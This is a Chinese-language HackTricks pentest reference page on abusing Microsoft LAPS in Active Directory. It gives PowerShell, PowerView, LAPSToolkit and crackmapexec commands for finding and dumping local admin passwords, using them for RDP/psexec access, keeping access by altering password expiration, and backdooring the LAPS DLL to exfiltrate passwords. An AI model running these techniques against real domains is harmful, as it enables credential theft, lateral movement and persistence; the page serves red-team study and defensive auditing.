LAPS

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

Local Administrator Password Solution (LAPS) 是一个用于管理系统的工具,其中 管理员密码唯一的、随机生成的,并且经常更改,应用于域加入的计算机。这些密码安全地存储在 Active Directory 中,仅对通过访问控制列表 (ACL) 授予权限的用户可访问。客户端到服务器的密码传输安全性通过使用 Kerberos 版本 5高级加密标准 (AES) 得到保障。

在域的计算机对象中,LAPS 的实施导致添加两个新属性:ms-mcs-AdmPwdms-mcs-AdmPwdExpirationTime。这些属性分别存储 明文管理员密码其过期时间

检查是否已激活

bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

LAPS 密码访问

您可以 下载原始 LAPS 策略\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol,然后使用 Parse-PolFile 来自 GPRegistryPolicyParser 包可以将此文件转换为人类可读的格式。

此外,如果在我们可以访问的机器上安装了 本地 LAPS PowerShell cmdlets,也可以使用它们:

bash
Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView 还可以用来找出 谁可以读取密码并读取它

bash
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

LAPSToolkit

The LAPSToolkit 通过多个功能促进了 LAPS 的枚举。
其中之一是解析 ExtendedRights 以获取 所有启用 LAPS 的计算机。 这将显示 专门被委派读取 LAPS 密码的组, 这些组通常是受保护组中的用户。
一个 已将计算机 加入域的 帐户 在该主机上获得 All Extended Rights,而这个权限赋予 帐户 读取 密码 的能力。枚举可能显示一个可以在主机上读取 LAPS 密码的用户帐户。这可以帮助我们 针对特定的 AD 用户,他们可以读取 LAPS 密码。

bash
# Get groups that can read passwords
Find-LAPSDelegatedGroups

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin

# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName                Identity                    Reason
------------                --------                    ------
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated

# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName                Password       Expiration
------------                --------       ----------
DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41

Dumping LAPS Passwords With Crackmapexec

如果没有访问权限到 powershell,您可以通过 LDAP 远程滥用此权限。

crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps

这将转储用户可以读取的所有密码,使您能够以不同的用户获得更好的立足点。

** 使用 LAPS 密码 **

xfreerdp /v:192.168.1.1:3389  /u:Administrator
Password: 2Z@Ae)7!{9#Cq

python psexec.py Administrator@web.example.com
Password: 2Z@Ae)7!{9#Cq

LAPS 持久性

到期日期

一旦成为管理员,可以通过将到期日期设置为未来获取密码防止机器更新密码

bash
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

warning

如果管理员使用**Reset-AdmPwdPassword** cmdlet,或者在LAPS GPO中启用了不允许密码过期时间超过政策要求,密码仍然会被重置。

后门

LAPS的原始源代码可以在这里找到,因此可以在代码中放置后门(例如在Main/AdmPwd.PS/Main.cs中的Get-AdmPwdPassword方法内),以某种方式外泄新密码或将其存储在某处

然后,只需编译新的AdmPwd.PS.dll并将其上传到C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll(并更改修改时间)。

参考

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks